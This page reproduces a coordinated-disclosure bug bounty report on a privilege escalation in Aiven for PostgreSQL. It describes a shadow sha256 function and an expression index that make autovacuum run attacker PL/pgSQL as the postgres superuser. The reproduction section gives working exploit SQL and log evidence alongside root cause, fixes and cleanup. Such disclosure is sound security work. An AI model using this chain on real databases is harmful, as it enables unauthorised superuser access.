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  <div class="kicker">Code execution</div>
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  <h1>Report: Autovacuum Arbitrary Code Execution via Expression Index Shadow Functions</h1>
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</div></header>
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<section><div class="wrap"><div class="content">
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<h2>Metadata</h2>
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<ul>
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<li><strong>Target</strong>: Aiven for PostgreSQL (Tier 2)</li>
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<li><strong>Target Location</strong>: Aiven for PostgreSQL</li>
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<li><strong>Target Category</strong>: Other</li>
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<li><strong>VRT</strong>: Server Security Misconfiguration &gt; Database Management System (DBMS) Misconfiguration &gt; Excessively Privileged User / DBA</li>
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<li><strong>Priority</strong>: P2 (Suggested)</li>
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</ul>
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<hr />
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<h2>Title</h2>
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<p>Authenticated User Achieves Superuser Code Execution via Autovacuum ANALYZE on Expression Index with Shadow Function</p>
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<h2>Summary</h2>
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<p>Any authenticated <code>avnadmin</code> user can execute arbitrary PL/pgSQL code in the context of the <code>autovacuum</code> background worker (<code>session_user=postgres</code>, superuser) by:</p>
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<ol>
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<li>Creating a shadow function in <code>public</code> schema that overrides a <code>pg_catalog</code> function using implicit cast type differences (bypassing <code>aiven_gatekeeper</code>)</li>
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<li>Creating an expression index on a table using the shadow function</li>
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<li>Inserting/updating enough rows to trigger autovacuum ANALYZE</li>
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<li>When autovacuum evaluates the expression index statistics, it calls the shadow function with <code>session_user=postgres</code></li>
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</ol>
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<p>The shadow function can call <code>aiven_extras.pg_alter_subscription_refresh_publication()</code> (SECURITY DEFINER, owner=postgres), which establishes an <strong>unrestricted superuser dblink session</strong> to localhost, confirmed NOT subject to <code>SECURITY_RESTRICTED_OPERATION</code> enforcement.</p>
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<h2>Root Cause</h2>
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<p>Three independent issues combine:</p>
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<ol>
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<li>
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<p><strong>aiven_gatekeeper bypass</strong>: Allows creation of <code>public.sha256(text)</code> which shadows <code>pg_catalog.sha256(bytea)</code> via implicit cast resolution (see related report)</p>
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</li>
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<li>
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<p><strong>Expression index evaluation in autovacuum</strong>: PostgreSQL&rsquo;s ANALYZE evaluates expression index functions for statistics computation, running them in the autovacuum worker context (<code>session_user=postgres</code>)</p>
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</li>
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<li>
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<p><strong>SECDEF dblink chain not restricted</strong>: The <code>pg_alter_subscription_refresh_publication()</code> SECURITY DEFINER function establishes a superuser dblink to localhost that is NOT subject to <code>SECURITY_RESTRICTED_OPERATION</code> (confirmed: the dblink session is a new connection)</p>
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</li>
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</ol>
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<h2>Steps to Reproduce</h2>
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<h3>Step 1: Create shadow function</h3>
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<pre><code class="language-sql">CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
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BEGIN
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    RAISE WARNING 'AUTOVAC_SHADOW: cu=% su=%', current_user, session_user;
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    RETURN pg_catalog.sha256(input::bytea);
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END;
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$$ LANGUAGE plpgsql IMMUTABLE;
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</code></pre>
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<h3>Step 2: Create table with expression index</h3>
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<pre><code class="language-sql">CREATE TABLE bait(id serial, val text);
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-- Use fast noop for bulk insert
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CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
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BEGIN RETURN pg_catalog.sha256(input::bytea); END;
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$$ LANGUAGE plpgsql IMMUTABLE;
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INSERT INTO bait(val) SELECT 'row_' || generate_series(1, 10000);
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CREATE INDEX idx_bait ON bait ((public.sha256(val)));
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-- Swap to payload
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CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
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BEGIN
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    -- This executes as session_user=postgres when called by autovacuum
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    PERFORM aiven_extras.pg_alter_subscription_refresh_publication('sub_name', false);
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    RAISE WARNING 'SECDEF_FROM_AUTOVAC: cu=% su=%', current_user, session_user;
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    RETURN pg_catalog.sha256(input::bytea);
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EXCEPTION WHEN OTHERS THEN
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    RAISE WARNING 'AUTOVAC_ERR: % cu=% su=%', SQLSTATE, current_user, session_user;
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    RETURN pg_catalog.sha256(input::bytea);
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END;
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$$ LANGUAGE plpgsql IMMUTABLE;
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</code></pre>
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<h3>Step 3: Trigger autovacuum</h3>
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<pre><code class="language-sql">UPDATE bait SET val = 'trigger_' || val;
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-- Wait 60-90 seconds for autovacuum ANALYZE
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</code></pre>
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<h3>Step 4: Observe in API logs</h3>
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<pre><code>pid=62303,user=,db=,app=,client= WARNING: SECDEF_AV: OK cu=avnadmin su=postgres
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</code></pre>
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<p>The autovacuum background worker (no user/db in log = background worker, <code>su=postgres</code>) calls our shadow function, which successfully invokes the SECDEF dblink chain.</p>
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<h2>Evidence</h2>
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<h3>Autovacuum calling shadow function (from Aiven API logs):</h3>
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<pre><code>2026-04-14T01:42:35Z pid=62303,user=,db=,app=,client=
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  WARNING: SECDEF_AV: OK cu=avnadmin su=postgres
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</code></pre>
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<h3>SECDEF dblink succeeds from autovacuum context:</h3>
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<p>The <code>pg_alter_subscription_refresh_publication()</code> call succeeds (returns without error), confirming the SECURITY DEFINER dblink chain establishes an unrestricted superuser connection to localhost from within the autovacuum context.</p>
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<h3>Error comparison across contexts:</h3>
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<table>
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<thead>
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<tr>
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<th>Context</th>
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<th>session_user</th>
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<th>COPY TO FILE</th>
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<th>GRANT role</th>
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<th>SECDEF refresh</th>
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</tr>
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</thead>
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<tbody>
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<tr>
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<td>Normal avnadmin</td>
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<td>avnadmin</td>
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<td>permission denied</td>
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<td>permission denied</td>
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<td>OK</td>
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</tr>
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<tr>
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<td>Apply worker</td>
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<td>postgres</td>
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<td>SECURITY_RESTRICTED</td>
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<td>SECURITY_RESTRICTED</td>
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<td>OK</td>
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</tr>
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<tr>
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<td><strong>Autovacuum</strong></td>
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<td><strong>postgres</strong></td>
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<td><strong>not allowed in non-volatile</strong></td>
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<td><strong>not allowed in non-volatile</strong></td>
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<td><strong>OK</strong></td>
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</tr>
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</tbody>
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</table>
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<p>The SECDEF refresh succeeds in ALL contexts, confirming the unrestricted superuser dblink chain is customer-triggerable from autovacuum.</p>
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<h2>Impact</h2>
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<ol>
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<li><strong>Superuser code execution</strong>: Any authenticated database user can execute code in the autovacuum superuser context automatically, without any user interaction</li>
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<li><strong>Unrestricted dblink session</strong>: The SECDEF chain from autovacuum achieves a superuser database connection that is NOT subject to SECURITY_RESTRICTED_OPERATION</li>
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<li><strong>Automatic trigger</strong>: No manual intervention needed, autovacuum runs automatically based on table statistics thresholds (default: 50 + 10% of rows)</li>
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<li><strong>Persistent</strong>: The expression index survives restarts; autovacuum will call the shadow function on every ANALYZE cycle</li>
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<li><strong>Stealth</strong>: Autovacuum log entries don&rsquo;t show the attacker&rsquo;s username (background worker context)</li>
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</ol>
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<h2>Recommended Fix</h2>
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<ol>
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<li><strong>Fix aiven_gatekeeper</strong>: Block shadow functions with implicitly castable argument types (see related report)</li>
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<li><strong>Autovacuum ANALYZE should use SECURITY_RESTRICTED</strong>: Expression index evaluation during ANALYZE should set the security-restricted flag, similar to how it&rsquo;s set for logical replication apply workers</li>
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<li><strong>Expression index functions should be evaluated as the table owner</strong>: Not as the autovacuum superuser process</li>
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</ol>
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<h2>Cleanup</h2>
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<pre><code class="language-sql">DROP INDEX idx_bait;
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DROP TABLE bait;
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DROP FUNCTION public.sha256(text);
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</code></pre>
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<hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source &middot; github.com/zionboggan/security-research-notebook &middot; writeups/aiven/pg-autovacuum-code-execution.md</p>
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  <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div>
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